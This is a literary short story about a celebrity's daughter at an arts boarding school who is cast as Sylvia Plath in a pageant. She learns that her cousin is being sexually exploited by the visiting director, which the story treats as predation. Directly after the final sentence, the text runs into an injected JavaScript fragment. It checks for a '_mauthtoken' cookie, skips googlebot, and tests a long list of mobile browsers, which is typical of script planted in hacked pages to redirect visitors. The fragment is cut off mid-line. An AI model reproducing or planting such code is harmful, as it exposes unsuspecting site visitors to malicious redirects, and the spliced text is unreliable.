Get Your Head Out of that Oven

by Emma Komlos-Hrobsky

emma_koblos-hrobsky1Zoe Banks wasn’t particularly surprised when her mother, Adelaide, casually mentioned at the end of August that Zoe had both applied and been accepted to Mt. Pinnatoga Boarding School in upstate New York. That Zoe had never written any application to the school, or expressed any fervent desire to go there, were only technicalities to the acceptance process. In true celebrity fashion, Adelaide had plied her way through the admissions office with a grant to refurbish the auditorium and brief snog with the school’s head secretary, who had never before thought herself a lesbian. For years, Zoe had seen the way her mother’s eyes gleamed when the monthly letters from Zoe’s most beloved cousin Charisse came, detailing her exploits at Mt. Pinnatoga. Charisse’s own mother was first poor and then dead, and so Adelaide footed the bill for her niece’s most elite Bohemian education in exchange for a monthly letter. Adelaide spent hours rereading Charisse’s sweeping script, relishing each detail of whom she’d trounced in poetry recitation or beat out for the lead in the Interpretive Dance Spectacular. And when Charisse had sent along a photo of her junior class lined up on the steps of the chapel in their mandatory berets and indigo silk neckerchiefs, Zoe knew it was only a matter of time before she was shipped off to join her.

Zoe also wasn’t particularly surprised when, the week before she was to leave for Mt. Pinnatoga, Adelaide claimed to have almost choked to death on a maraschino cherry while watching late night infomercials. When pressed for details about her near death experience, her mother reported that God looked something like Michael Caine, who had not coincidentally presented Adelaide with her first Oscar. After the cherry incident, Adelaide decided she was due for a stint in rehab for a drug addiction she didn’t have. And so, the first week in September, while Zoe arranged poetry anthologies in the bookcase of her new dorm room, Adelaide jetted off to the most expensive hotel she could find that wouldn’t charge her for use of the minibar.

Zoe liked Mt. Pinnatoga well enough—the epic wooden corridors, the teachers who quoted Cat Stevens as much as Thoreau, the view of the quad from her window. She even had one almost-friend, Gideon, her nearly-silent lab partner who at any rate talked to her no less than he talked to anyone else. And at least at Pinnatoga, everyone else understood what it was like to have a parent at a clinic, again, or to see them compromise their artistic vision for commercial success. When Zoe had explained to her suitemates how Adelaide had started making movies with titles like Pursuing Prudence and Suzannah, Soaring, they’d all nodded in somber empathy. And at Mt. Pinnatoga, without her mother to play stagehand to, Zoe was astounded at the time she suddenly had to herself.

When Charisse stopped by Zoe’s room at the end of her first week and coolly suggested that Zoe sign up to lend a hand for the 77th Annual Mt. Pinnatoga Solstice Pageant, Zoe had cringed as she imagined herself glue-gunning together costumes for sticky grade-schoolers. Yet, all evening while she tried to do her Latin homework, she thought of herself standing next to Charisse, the junior director, handing her pertinent papers and reporting on the situation backstage. She’d make the best damn menorah costumes, or druid costumes, or whatever costumes one wore for a solstice pageant, that Mt. Pinnatoga had ever seen. Then maybe she and Charisse would pass each other in the halls and raise their eyebrows as they shared a joke about the ineptitude of alto section in the third act. And on the night of the performance, Charisse would call her out from behind the curtains, and Zoe would blush demurely and say it was all just a product of the fantastic vision of the junior director, while her mother beamed from the front row.

And when Charisse dragged Zoe up on stage during the auditions, away from the set construction sign-up sheet, and pinned a number to her chest, Zoe was too flustered to protest. She clung to the hope that she wouldn’t get stuck reading more than a line or two. But after delivering a page and a half from Gravity’s Rainbow, then “The Raven,” twice, “to gage its personal thematic resonances,” Zoe knew she’d made it dangerously far into the audition process. Now only she and four others were left onstage. Charisse stood at the foot of the stage with her megaphone, next to Mr. Kashkashian, the director.

“Ladies, what I’m looking for is brilliance. Unadulterated brilliance,” said Mr. Kashkashian. He scanned the five remaining girls and pinched his lips between his fingers in contemplation. “You want to know the plot, I expect. You want to know who you might play. Let me say only that the part I’m prepared to offer you gets at the heart of the tragedy of this American era and the ethos of a nation adrift. You, ladies, could be that ethos. Are you prepared for that? Could one of you be my leading lady?”

“Leading lady?” whispered Zoe in the direction of the starry-eyed girl next to her.

“Now, can any of you play the harpsichord? How about you, the skinny one?” Mr. Kashkashian asked Zoe.

Zoe shook her head emphatically. “I can’t! I don’t even read music. I barely have thumbs.”

He turned towards Charisse, who whispered something in his ear.

“Ah, so you’re Adelaide’s daughter? I’d heard rumors of your descent on the hallowed grounds of Mt. Pinnatoga. The office-staff are simply abuzz with talk of your mother,” said Mr. Kashkashian. Mr. Kashkashian wore the sort of summer suit Zoe had seen in catalogues but didn’t imagine that anyone actually wore, particularly in the Adirondacks, particularly in the fall. His eyes scanned over Zoe as she pulled her arms closer to her gangly body. Everything about Mr. Kashkashian’s posture bespoke the appearance of restraint, but Zoe felt completely exposed before him. He smirked a little. “Well, you don’t look a thing like her, but we’ll see what we can do. Can you act?”

“I’m not sure,” said Zoe. “I’ve never gotten a chance to try.”

“That’s ridiculous,” said Mr. Kashkashian. “I’m sure it’s in your blood. Now we’ve just got to release your particular theatrical beast. Am I right, Charisse?”

“Right,” said Charisse.

“You two, swap ‘round,” called Mr. Kashkashian. The girls at the end of the row scurried to switch positions.

“You’ve both got a certain lumber to your walk, haven’t you? No,” mused Mr. Kashkashian, “I believe number #144, Zoe Banks, is our leading lady. Miss Banks, you’ll be playing the part of Sylvia Plath, at once the savior of truth in modern poetry and the instrument of her own destruction. Rehearsals start tomorrow. Please show up waifish and distraught.”

That evening, Zoe huddled in the bay window of her dormitory room and called the hotel where Adelaide was staying under the name of Coco MacGyver. When Zoe was seven, after the tabloids ran a particularly unflattering shot of Adelaide yelling at a Pasadena meter maid, Zoe had locked pinkies with her mother and made a pact that they would only ever need each other. As a direct result of this promise, Zoe had spent most of her early life waiting in green rooms, sucking the skins off grapes while set crews neglected her and Adelaide made guest appearances on some unseen stage. When chauffeurs carted the pair back to their hotel afterwards, Adelaide would let Zoe nestle under her arm and quietly braid and re-braid the fringe on whatever shawl she was wearing that night. Sometimes even now, when they stayed in hotels, Zoe stayed awake to watch her mother in the adjacent bed and count the rises and falls of her white sheets as she breathed. Now Zoe could only call her mother once a week and pray that the press didn’t get a hold of anything about Adelaide that was actually true.

“Regency-York Hotel. How may I help you?” answered a voice on the other end of the phone.

“Put me through to Coco MacGyver, please,” said Zoe. She picked at the caulk in the frame of the ancient wooden window and looked out into the night. Below her, Charisse and her upperclassmen friends staggered drunk around on the lawn of the school singing Gilbert and Sullivan choruses and throwing their berets. Occasionally, Charisse would stumble and be caught, wide-eyed, by the male students that flanked her.

“Miss MacGyver has given strict orders that she not be bothered. She’s recovering from a trauma,” said the woman on the other end of the phone. Zoe heard the woman from the hotel wrap her hand around her telephone receiver. “Are you from the press? I might be able to get you some pictures that would be of interest. That woman eats an amazing quantity of shrimp cocktails.”

“This is her daughter,” said Zoe.

There was a metallic whir as Zoe was patched through to the private line in room #214, the presidential suite.

“Mom? Adelaide?” asked Zoe. The sounds of one of Adelaide’s meditation tapes and furniture being dragged across thick pile carpet flooded into the phone.

“Who is this?”

“Mom, it’s Zoe.”

“Zoe. Things are terrible here. I’m bored, so we’re feng shui-ing the room and the hotel staff is being less than gracious. Oh Zoe, you know I don’t believe in that wacky Oriental crap, but there’s nothing else to do here. Wish you were with me.”

“Mom, they cast me in the 77th Annual Mt. Pinnatoga Solstice Pageant. I got the lead part.” Zoe knew better than to wait for her mother to ask about school.

“Darling, that’s fantastic,” said Adelaide. Adelaide was renowned for her deep voice and convincing British accent. She directed the parade of furniture around her room as she spoke to Zoe. “Watch the corner of that armoire!” she shouted away from the phone.

“Actually, it’s not fantastic,” said Zoe. “I can’t act. I just wanted to sign up for stage crew, but Charisse is the student director and she said I had the ‘unsettled aura’ for the part and she made me audition.”

“And what is the part exactly?”

“Sylvia Plath,” said Zoe. Her breath fogged an ellipse onto the window. “In Mr. Kashkashian’s play The White Goddess: The Mythopoetics of Sylvia Plath.

“Well, darling, you are awfully pale, and that sweet cousin of yours knows what she’s doing. She wouldn’t have given you the part if you couldn’t do it. I’m sure you’ll do a fantastic job. Look, I’ve got to go. I told them I was allergic to shearling, but they’re bringing in these hideous throws anyway. Call me back. I’ll be sure to fly in for your show. Okay? Love you.”

Adelaide’s voice snapped off on the other end of the phone line.

Rehearsals for the pageant were held at night, the only time the school’s archaic, ornately carved auditorium wasn’t occupied by the experimental poetry team or the modern dance ensemble. On the first day of practice, Charisse motioned for Zoe to sit next to her in the velour seats of the auditorium while they waited for Mr. Kashkashian’s arrival. Around them, dozens of kids already shuffled about with white leather valises and oversized cardboard fountain pens.

“I’m just thrilled that you’re going to be our Sylvia,” said Charisse. “Mr. Kashkashian wasn’t so sure after your readings, but when I told him you were the daughter of Adelaide Banks, the part was yours. He said your mother is an ‘unfathomable spirit.’ They once spent the night together on a fishing boat they stole together from some villagers off the coast of North Africa while they were filming the screen adaptation his Three Shots At Darkness, Pending. Your mother was great in that. Anything where she gets to wear hoop skirts is bound to be good.”

“A fishing boat, huh?” said Zoe. Mentally, she started calculating when the movie had been made and just how long ago her mother had hunkered down for a sleepover with America’s most lauded and ostensibly happily married playwright. When Zoe had realized at the age of eight that she was supposed to not only have a father but to miss him in his absence, she’d petitioned Adelaide’s agent for a list of possible candidates for the position. A week later, she’d received a list of sixty-one suspects to whom she started sending letters and q-tips in Ziploc bags to collect DNA samples. After ten years of letter writing, she’d manage to worry enough of the candidates to be shipped five bicycles, a pre-stocked saltwater fish tank, a pet chinchilla, and a drum kit, but never a single q-tip swabbed with the spit for which she’d been searching.

“Mr. Kashkashian is just fabulous. We’re so lucky to have him as our visiting director of dramatics this year. I’ve been working very closely with him as junior director, and Zoe, let me tell you, he’s got that spark, that brilliance to him. You know what I mean?” said Charisse.

“Not really,” said Zoe.

“He speaks the truth, Zo. The Truth. The plays he writes are about what’s real, like this one– you know, the psychology of disconnect and masochism and all that. He’s got this whole theory about time travel he’s playing with for Sylvia that I know you’re going to love. And he said he’s writing a play about me. I’m completely, wonderfully unworthy,” said Charisse. Her gaze drifted up towards the blur of lights over the stage, towards the theatre gods.

Charisse was the only person Zoe had ever met who was more beautiful than her mother. She wore strands and strands of wooden beads around her neck that clicked like dominos when she swayed through the aisles of the auditorium; blue aviator sunglasses held back the blonde curls of her hair. She’d once written to Adelaide that her greatest regret in life was not having been born in time to protest Vietnam.

Zoe scanned the rest of the auditorium for faces she at least recognized, but saw only Gideon and the girl from the suite next door to her that perpetually left streaks of turquoise toothpaste in the bottom of the communal bathroom sink. Grade school kids recruited from a public school in the valley looked on in wonder at the lavish auditorium and played hide and seek in the loges until Mr. Kashkashian shoved apart the double doors of the auditorium and marched to the front of the room.

“I have a vision!” he cried. He climbed precariously onto the seats in the front row and stood with each foot on the armrest of one of the maligned auditorium chairs. “A vision of desperation, of the agony of passion, of deep and lusty, wanton love, of human smallness before the magnetic churnings of the cosmos! And that vision is Sylvia!”

Several students burst into frenetic applause. Charisse stood up, beaming, and strode down to stand next to him. Zoe shrank deeper into her seat and hoped he’d forget about her entirely. A fourth grader in one of the wings who’d found a packet of fake blood started to cry.

“Can I have all the cast down here please?” said Mr. Kashkashian. “I’ve got scripts for you all. The final act is still being tinkered with, but I think we all know how Miss Plath’s issues will resolve themselves, hah. Now, I won’t be attending most of the rehearsals, so Charisse here will be implementing the artistic program of which the text is only an approximation.”

Zoe took her script from Mr. Kashkashian. The cast list took up three pages and included stunt doubles and a pyrotechnics director.

Charisse pulled her beret over her ears and smiled, then whispered in Zoe’s ear, “Don’t look so worried. He’ll like you because he likes me. It’s not even that big a part. Mainly you look mournful while people dressed as poppies and bees and Nazi lampshades from the poems dance around you.”

“Is that really appropriate for a holiday pageant? Nazi lampshades? At my old school we just made the chubby kids wear hasty pudding suits and jump around while everyone else sang carols,” said Zoe.

“Zoe. All great theatre takes risks,” said Charisse while an adjacent group of wide-eyed sixth graders looked at the lyrics to the madrigals about Plath’s function in the fabrication of the American suicide fable that they’d be singing in the intermezzo.

In the second week of the pageant’s midnight practices, Zoe discovered the most painful scene in the play to rehearse: Act I, Scene 2: In Which Sylvia Meets Ted Hughes On An Auspicious Autumnal Eve, and Mythologies Collide.

“Ted Hughes? Where’s our Ted Hughes?” called Charisse from the corner of the stage. Zoe hadn’t met her future husband in the play yet. Mr. Kashkashian and Charisse had agreed that Zoe’s first encounter with him should be a “raw, uninhibited, organic exchange.”

“Method acting!” Charisse had explained.

“I’m here, Charisse,” said the pseudo Ted Hughes.

“Where?” said Charisse.

Gideon stood up. “You?” said Zoe. She blushed at the thought of the way he twirled the knobs of their shared microscope to examine protists. “You act?”

“I guess,” said Gideon. Then he turned to Charisse, eager to do her artistic bidding. “Charisse cast me.”

“But Ted Hughes hunted stuff. You’ve got a bowl cut. You love classic rock,” said Zoe.

Gideon shrugged.

“Let’s get right to the meat of the act, you two,” said Charisse. She picked up the notes Mr. Kashkashian had made on the scene and read. “Imagine, if you will, a sharp fall night on the Cambridge campus. A lone half-moon in the sky, piercing the dour swatches of cloud that meanders the night. You are at a party in an apartment, no, a flat. Out the window, the dim forms of dark trees on the quad. Silhouettes, only silhouettes, shuffle and carouse through the party around you. The silhouettes are all of you guys,” said Charisse. She motioned to the seventh graders lurking around the back of the stage with empty Silo cups. “We don’t need you all tonight. You can go home. This rehearsal is about the theatrics of Sylvia and Ted.”

The party-goers muttered complaints as they dropped the cups and shuffled off into the wings. Zoe saw thick, soft snow falling outside when they opened the theatre doors and felt its quiet leech into the auditorium.

“Anyways,” said Charisse, “Sylvia is stage right, adrift, a lone white dress among the sulphurous forms of the other party guests, when her eyes meet the eyes of Ted Hughes. Got that? Let’s take it from the line, ‘I read your poetry in The St. Botolph’s Review,’ okay?”

“I read your poetry in The St. Botolph’s Review,” said Gideon. His eyes left the script only to glance out into the blurry depths of the auditorium to seek signs of Charisse’s approval.

“Nice, but more British accent,” called Charisse.

“And?” read Zoe. She tried not to stare at Gideon’s hands wrapped awkwardly around his script.

“And it’s terrible. Terrible,” said Gideon, “A whole poem about strawberry picking? Ghastly.”

“Your poetry is terrible, too,” read Zoe, “It makes me sicker than when I had measles in 1937, shortly before the death of my father, which has had and will continue to have significant impact on my work. Anyway, bleah.”

Charisse tucked her hair cutely behind her ears. “Good, now grab her hand and pull her into the corner of the room, behind the arm chair.”

Gideon switched his script back and forth between his hands four times, took a big breath, and reached out for Zoe’s arm.

“Pull her over there! You’re horny, and she’s the fulfillment of everything you’ve read about the white goddess!” called Charisse.

“Wait, what’s that about the white goddess?” asked Gideon. He dropped Zoe’s wrist like she had leprosy and looked at Charisse.

“Ted Hughes read this book about this mythical white woman who’d come to deliver him artistically and sexually. And Zoe there is your white goddess, okay?”

“Whatever you think is best, Charisse. I trust your judgment” said Gideon. He hesitated. “But couldn’t I play the part non-lustily? I mean, what if Ted just really wanted to engage in a verbal exchange. How about if he just wants to work through some of issues he was having with stanza breaks? That could work, right?”

“Gideon, you’re so cute,” said Charisse, “Verbal exchanges, ha ha. It’s your line, Plath.”

“You’re insufferable, you pompous ass. Let’s quit the small talk,” read Zoe. She waited for Gideon to say his next line, but it didn’t come. Gideon just stared at the script and shook his head slowly, pained, as if someone had proposed that he amputate his own fingers with a plastic knife.

“What are you waiting for? Bite him!” called Charisse. The eyes of the remaining students in the audience were instantly riveted on Zoe.

“What?” cried Zoe. She leafed frantically through the script for any other action to perform.

“A love bite! On the cheek! You are his equal combatant in the battle of love! Now! Go!” cried Charisse.

“No way! Are you out of your mind?”

“Just do it! Bite!” cried Charisse.

The lights got suddenly brighter. Gideon nervously gnawed the skin off the front of his lip. He braced himself in the frame of the set behind him, a losing boxer ready for the final, fatal blow. Zoe knew if she hesitated, she’d never do it. She squinted her eyes, swung her head madly to the side, bared her teeth and aimed for Gideon’s cheek. Her eyes were closed as her mouth collided with Gideon somewhere just south of his ear. As Zoe retreated back, she knocked her head into Gideon’s chin.

“I think you drew blood!” cried Gideon. He clutched his hand over the side of his throat.

“Sorry!” gasped Zoe.

“Sorry!” said Gideon. Zoe covered her face with her hand to check for swelling.

“No apologies, you two! Next time, for historical accuracy, you need to hit his cheek, Zoe. Otherwise, that was perfect,” said Charisse. “Just perfect. See you all for rehearsal tomorrow. We’re doing Act I, Scene Four: Ted The Rabbit Catcher Preys Upon Sylvia as Helpless Lapin, followed by the fifth graders doing the waltz of the Smith-Coronas. I hope your typewriter costumes are ready.”

The weekend before the pageant was to take place, Charisse threw a cast party in her room, down the hall from Zoe. While the bass line on Charisse’s Puccini’s Greatest Hits CD throbbed through the dormitory walls, Zoe dutifully phoned her mother. She listened to Adelaide describe the forearms of the plumber who’d been sent to unclog one of the bubble jets in her hotel room’s bathroom, the operation on a pet snake she’d seen on Animal Planet, how she wondered if Oprah’s viewers were really all that interested in the Faulkner selected for this month’s book club. There was a knock on the door, and Zoe held the receiver of the princess telephone to her chest as Charisse stuck her head into the room.

“Zoe, why aren’t you at the party? Is that your mother on the phone? I bet it is. Give it here,” said Charisse. She took the phone. “Auntie Adelaide? Hi, how are you? Oh, just fine, no, no, the boyfriend situation is ambiguous at the moment. Isn’t that always the way? Ha ha. And yourself? Good, that’s what I like to hear. No, I’m taking really good care of her. Superior care. I’m trying to get her to go to a party right now, actually. I know! What a pansy, right?”

Charisse passed the phone to Zoe. “She wants to talk to you.”

“Zoe, darling, go have some fun. Remember, a lady only drinks cocktails, although I’m sure that marvelous cousin of yours wouldn’t serve anything less. See you next weekend for the show. Love you, darling,” said Adelaide before hanging up.

“See, there you go,” said Charisse. A long cigarette bobbed and swayed between her fingers. She gave Zoe one of her knowing, big cousin smiles. “Come with me.”

Charisse tugged Zoe out into the dirty yellow light of their dormitory hallway, where Cambridge Poets #2, #4, and #5 argued about original cast recordings and Assia Wevill and Anne Sexton stumbled out of the promised land of Charisse’s room. Inside the room, masses of kids in neckerchiefs tumbled and swarmed, toppled over furniture, laughed in tight clusters by the windows. When Charisse was halfway through the door, hands darted out from the masses of the crowd and pulled her inside.

Charisse let her head fall back and laughed. “Come on!”

Zoe just shook her head and walked away, away from the room into which Charisse had been enveloped and away from her own room. She sat down on the top step of the hall’s wooden staircase and looked out the stained glass window at the tops of the oak trees being dashed about by the wind outside. She didn’t even notice Gideon perched four steps down until he coughed.

“Not much of a party person, huh?” said Zoe.

Gideon smiled. His arms hung loose at his side like some sad, abandoned Muppet. “Not really.”

“I’m sorry about, um, biting you so hard, or whatever. I mean, Charisse was yelling, and I got flustered, and…” said Zoe.

“It’s okay,” said Gideon. Zoe could see the purple crescent of tooth marks on his neck even in the dim light. He scooted up the steps to sit next to her. “Charisse can be a bit unnerving. So intense. Knows just what she wants.”

“She scares me too, but she’s not supposed to. I mean, she’s my cousin,” said Zoe. She sighed. “She’s basically perfect, isn’t she? My mother adores her.”

“But not more than she adores you, I bet,” said Gideon. He looked straight at Zoe. Zoe didn’t say anything and twisted a tassel off the runner on the stairs. They both looked back out the window.

“You don’t strike me as the theatrical type,” said Gideon. “Why’d you audition?”

“I didn’t mean to. My mother probably asked Charisse to make sure I got a part. And you?”

Gideon blushed. “I’m sort of madly in love with your cousin, but then I guess everyone is. I spent all last fall building the fifty-one papier mache trees for the pageant set for her last year. The year before that it was ice sculpture. At least she drove me to the hospital when I sliced into the side of my thumb with the pick-axe. Anyway, I’m glad they decided on minimalist sets this year.”

Zoe saw how he nodded to himself and blinked, and she knew he thought he meant what he’d said. She hunched a little more and stared down at the carpet. “I get the impression that people fall in love with her frequently around here,” she said.

“Charisse is going to be a real actress, isn’t she?” said Gideon.

“Probably. A real something, anyway,” said Zoe. “Just like Adelaide. She’s smart, my mom. They think she’s just some dumb, manipulated celebrity, but she does every bit of that manipulating herself. People don’t know that about her.”

“People don’t know what?” said Charisse merrily, who had run up the corridor behind them. She lowered her head between Zoe and Gideon, then ruffled Gideon’s hair and kissed him quickly on the cheek. “Hope I’m not interrupting anything.”

“No, no, don’t worry, absolutely nothing going on here,” said Gideon. “Where are you off to?”

“Is that absinthe on your breath?” asked Zoe.

“Alas, I’ve got an assignment for class that I’ve got to finish, my sweets. We can’t all party our lives away. See you at rehearsal tomorrow,” said Charisse.

“You’re not coming back to the party?” asked Gideon.

“Goodnight, sweet princes,” called Charisse, but she was already halfway up the twisting flight of stairs to the floor above. “And princesses!”

Gideon took a swig of what was in the cup perched next to him on the step.

“This party kind of sucks,” said Zoe.

“Wanna get out of here? I have Buffalo Springfield on vinyl in my room, if you’re interested,” said Gideon.

“Sure,” said Zoe. She followed Gideon up the dark spiral staircase. The party below rumbled faintly through the corridors.

“We’re not really supposed to go through here at night,” said Gideon, “but it’s faster. Teachers’ quarters.”

“I feel like we need code names,” said Zoe.

The hall ahead was black except for the thin, saturated band of orange light that slid from under a door on the right. The door had the plaque R. Kash.: Theatrics nailed to it above an unhappy botanical print. And in front of the door stood Charisse, silent, hesitating.

“Is that Charisse? Are you alone?” came a hushed voice from inside the room. Zoe and Gideon froze at the top of the stairs, invisible in the dark. The quick, metallic song of the switch of a lock, then the door swung back. Charisse stood in a rectangle of tremendous, rich light, solely selected for what lay inside. She turned and glanced back down the hallway, half her face in shadow, unaware of the pair on the staircase. And when Charisse looked back through the doorway again, suddenly calm, Zoe knew instantly that she was never meant to be there—in that hallway, in that play, at that school.

“Utterly and completely,” said Charisse. She stepped into the office and laughed shyly as the door clicked shut. It struck Zoe that Charisse might actually be intimidated by someone. Zoe and Gideon hesitated at the top of the stairs. The hall was quiet again.

“She’s not coming out any time soon, is she?” said Gideon.

“I doubt it. Personal tutorial session,” said Zoe.

“I bet he doesn’t even know her favorite color.”

“It’s indigo,” said Zoe.

“I know,” said Gideon. He started down the stairs.

Only Zoe dared to peek through the thin seam of space that still remained between door and frame. She got only a glimpse of Charisse: eyes forced shut, lips clenched, pressed up against the back of a heavy stuffed chair by Mr. Kashkashian. One of her quaking legs hooked feebly around his left calf, a gesture towards desire. Charisse’s head twisted sharply to the side as if she was recoiling from the sight of some unexpected gore, terrified and thrilled and oblivious to the fact that she was prey. When Mr. Kashkashian’s eyes shot towards the door, Zoe was already gone.

By the night of dress rehearsal, Mt. Pinnetoga was buried under three feet of plump, wet, snow that twinned the campus with its white weight. Parents had begun to show up on campus; they interrupted class lectures to detail their exploits in experimental cinema or rehash the traumas of querying editors and signing books. Small Bohemian siblings in the smallest berets yet harassed the cleaning staff’s beagle, Murphy, and licked the glitter off the ornaments on the Solstice Boughs that draped across the arched hallways of the school. Mr. Kashkashian and Charisse watched from the mullioned windows of his office, perverse overlords of the stage they’d so carefully laid. And somewhere out in the snow, Adelaide crept along the cords of snowy roadway towards Mt. Pinnatoga, dreaming of the theatrics to come.

During the final run through of the show, hours before opening night, Gideon no longer looked at Charisse when he so tersely delivered his lines. In fact, Gideon refused to look out at the audience at all. And when the poor boy stumbled from the stage after shooting his last rabbit and nearly took out a wall of the set, Zoë alone ventured backstage during the rehearsal of a madrigal interlude to find him. There, in the cavern between the dressing rooms and the heavy, warm forms of the velvet curtains, masses of costumed students ebbed and flowed. Fourth-grade girls in black gauze waved banners that read “Discontent” and “Expectations of Femininity”; smaller girls in cardboard oven costumes had linked arms and now practiced their tap dance numbers between the curtains. Zoë was suddenly aware of the sickly heat of the stage lights. The verticals of the curtains spun and dove. How could those children know what they were dancing for? To them Sylvia was nothing besides a depressed, wild lady with bright red lips, another part they could learn to perform. And where was Gideon?

Zoë pushed past the last dusty velvet warmer curtains, and there were Charisse, arms already weighed down with roses, and Adelaide. They’d been leaning close to each other to talk, the way the fourth graders did when they shared secrets. Now they both looked at Zoë.

“Zoë, sweetheart! Oh, I’ve missed you so much, darling. Hotels are no fun without you there to mistreat the help with me,” said Adelaide. She pulled Zoë close and kissed the top of her head. “You look ravishing! Doesn’t she look pretty, Charisse, all dolled up like that for the play? I mean, still so thin, no chest whatsoever–”

“She certainly has the right gene pool for glamour,” said Charisse.

Adelaide ran her hand over Charisse’s cheek. “You, my dear, are a vision.”

“Well, just working with Mr. Kashkashian makes me glow. He’s been such an inspiration to us all. Right, Zo?”

Zoë refused to look at Charisse. Instead she turned to her mother. “How long have you been here?”

“Oh, just an hour or so. Charisse has been showing me around the campus. We ran into your friend Gideon. I gather from Charisse that you have something of a crush on him. He seemed sweet, darling, but is he always that moody?”

“We’re just friends. He’s my lab partner. He’s playing Ted Hughes.”

“That’s all? Too bad. I’m sure Charisse could give you some pointers. Anyways, I promised Mr. Kashkashian I’d say hello, so I’ve got to go find him. And then after the play, I’m taking you both out for dinner and cocktails. How’s that sound? Good? Great. Break a leg, sweetie. You’re going to be just fantastic,” said Adelaide. She kissed Zoë’s head again and then headed for the dressing rooms.

“Your lipstick’s smudged,” said Charisse to Zoë. “Here, let me help you. I’ve been fixing the pout on Assia Wevill all evening.”

Charisse sat Zoë down on top of one of the suitcases for Act 1, Scene 1: Departure to the Realm of Her Making. Charisse flipped up her sunglasses and took Zoë’s face between her hands.

“Zoë, you have to look at me or you’re going to have red all over your face,” said Charisse. She started drawing carefully across Zoë’s lips, then pinched them to a pucker to check her work. Zoë stared straight at Charisse, so wide-eyed, so eager, in the way she’d always been afraid to.

“There, all done,” said Charisse. She recapped the lipstick. “Beautiful again. Set for the play?”

“I think I feel sick. And I can’t find Gideon.”

“Probably just some last minute jitters. Gideon’s sensitive,” said Charisse. She smoothed Zoë’s hair.

“I’m sure that’s it,” murmured Zoë. The stage lights overhead dimmed and the backstage suddenly got quieter. Charisse rose to go. Zoë felt her stomach convulse slightly and closed her eyes. “Charisse, I know. We both know. We saw you with Mr. Kashkashian, in his office.”

Charisse stopped moving. “Did you say anything, to anyone?”

Zoë shook her head. “Gideon’s been too upset to do much of anything, in case you hadn’t noticed.”

Charisse looked away and bit her lip. Zoë could hear the din of parents filing into their seats in the auditorium. “It’s just a crush. He’ll be fine.”

Zoë felt the air fall heavy and cold in her chest. “Charisse, can’t you see how sick that is? Mr. Kashkashian?”

“Mr. Kashkashian’s writing me a play, Zoë. He loves me,” said Charisse.

“He doesn’t love you. And you know what’s worse? You know it, and you don’t even care, do you? You’re happy to use him just like he’s using you,” said Zoë slowly, not realizing the truth of what she’d said until it hung in the space between them.

Charisse didn’t say anything but sucked in her breath. Zoë had guessed right– Charisse knew exactly what she was doing. Charisse twisted a downy curl around her pinky as she bit her lip. Zoë thought, just for a second, Charisse might cry.

“Have you ever even read Sylvia Plath?” said Zoë. She saw now all of the play unwinding in her mind—the forced passion, the cheap poetic imitation, that final, dizzying death spectacle.

“Hey, why read the book when you can see the show, right?” said Charisse with the same deliberate recklessness that had once made Zoë idolize her.

“Charisse, we need you for lights!” called a voice from the direction of the stage.

“You’re on in five, Zoë. Break a leg,” said Charisse. Her voice came only in broken, breathy fits and starts, but she smiled wide and ducked between the curtains.

Zoë was left standing alone. Only then did she notice that next to her, waiting to make its entrance waited The Oven, Sylvia’s oven, the gleaming chrome tyrant of a centerpiece for The Final Act: In Which The White Goddess Ascends. So many times before, Zoë had practiced shoving her head inside it, tucking a handkerchief under her cheek, reaching up for the busted gas knobs, and then letting her body go limp. Now she leaned against it and closed her eyes, trying to concentrate on the lines she’d forgotten she’d ever have to say. She only opened them when she heard the creak of the oven door opening. She looked down to see one of the tiniest tap dancers, lavish with sausage curls and rouge, stick her head inside and grin.

“Ooo!” howled the girl with a pitiful lisp. “I’m Sylvia! I’m the ghost of Sylvia Plath! No one loved me so I killed myself!”

“Get your head out of that oven,” said Zoë softly.

The little girl watched Zoë walk to the back door of the theatre. As she flung it open, the blue light of the blizzard punctured through the dark; Zoë had struck a fist through black paper. She let herself slip off the top step and into the snow. She ran towards the slick black taxis that quivered in puffs of steam in the parking lot, waiting to take celebrity parents back to hotels. From inside a cab, she watched Mt. Pinnetoga disappear into the haze of falling white as she rang the wet from her hair. And when the curtain rose on the 77th Annual Mt. Pinnatoga Solstice Pageant, Adelaide saw from her front row seat only a poetry anthology dropped in passing, and the errant blue flakes that blew through the door Zoë had left open behind her.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 